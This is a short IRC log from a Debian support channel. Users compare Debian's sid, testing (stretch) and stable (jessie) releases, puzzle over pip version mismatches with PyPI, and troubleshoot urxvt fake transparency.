| 23:26.11 | ShadowOfIntent | whats the difference between sid and stretch? |
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| 23:26.35 | missmbob | sid is unstable. packages go there before testing (stretch) |
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| 23:29.00 | ShadowOfIntent | how unstable is stretch compared to testing or jessie? |
| 23:29.19 | missmbob | stretch IS testing |
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| 23:29.42 | missmbob | and it can be quite a bit more buggy than jessie (stable) |
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| 23:30.09 | missmbob | also stretch (testing) has no security updates |
| 23:30.22 | ShadowOfIntent | so, its ok for daily use? |
| 23:30.29 | ShadowOfIntent | on a desktop? |
| 23:30.48 | missmbob | if you know debian pretty well, sure. i wouldn't give it to a debian virgin |
| 23:31.06 | rjsalts | ShadowOfIntent: it's okay, but it will take more effort to maintain properly |
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| 23:32.07 | rjsalts | ShadowOfIntent: it's probably safer than sid/unstable where a careless apt-get dist-upgrade might uninstall half your system because of version mismatches |
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| 23:32.23 | ec0 | I use sid and very rarely have issues. |
| 23:32.35 | ec0 | but I'm running XFCE and keep things pretty light. |
| 23:33.09 | rjsalts | I do too, but I don't let the solver lose on apt-get dist-upgrade without examining the sanity of the result |
| 23:33.22 | ec0 | that's excellent advice |
| 23:33.32 | ShadowOfIntent | ok guys, thanks for the info |
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| 23:37.57 | TomTomTosch | where do the packages in pip even come from? pip list numpy shows 1.8.2 but pypi.python.org has 1.11.1 isn't that the repo pip uses? |
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| 23:38.52 | rjsalts | I got that impression, yeah |
| 23:39.17 | TomTomTosch | so where does the version mismatch come from? |
| 23:39.47 | ShadowOfIntent | i've had some bad experiences with pip + ubuntu. Sometimes stuff gets broken |
| 23:40.00 | TomTomTosch | that's why you use virtualenv. |
| 23:40.36 | ShadowOfIntent | I prefer trusting the OS package manager but sure |
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| 23:40.53 | ShadowOfIntent | thats why i was asking for testing and sid |
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| 23:42.37 | chka78 | test |
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| 23:47.53 | ec0 | rjsalts, definitely supposed to be https://pypi.python.org/pypi/ |
| 23:48.00 | ec0 | pip version? |
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| 23:49.56 | ProfOak_ | I have an unusual problem that I don't know how to google. My urxvt fake transparency has stopped working without me doing anything to the config file. https://github.com/ProfOak/dotfiles/blob/master/Xdefaults Is there anything that urxvt relies on to do fake transparency that may have gotten uninstalled or might have changed with the installation of another package? |
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| 23:50.40 | teraflops | TomTomTosch: I guess so unless using 7.1.2 instead of 8.1.2 has something to be with it |
| 23:50.52 | ProfOak_ | The tintcolor is visibly white, and the shading seems to be working as well. It just makes a soft gray look, on a black background. |
| 23:51.24 | *** join/#debian chka78 (~chka78@h120n3-hlb2-a11.ias.bredband.telia.com) |
| 23:52.36 | *** join/#debian uestra (~uestra@p5DDA62C6.dip0.t-ipconnect.de) |
| 23:54.43 | ProfOak_ | This behavior is consistent throughout different window managers/desktop environments. Visual for reference: http://i.imgur.com/n24AkBU.png |
| 23:54.58 | TomTomTosch | teraflops: i'm afraid i don't understand. |
| 23:55.00 | ProfOak_ | (running Debian testing x86) |
| 23:58.00 | *** mode/#debian [+l 1647] by debhelper |
| 23:58.55 | *** join/#debian chka78 (~chka78@h120n3-hlb2-a11.ias.bredband.telia.com) |
| 23:58.59 | TomTomTosch | teraflops: ah, those are pip versions. weird. pip --version shows 1.5.6 and i don't think they had 7 major version bumps in less than two years... |
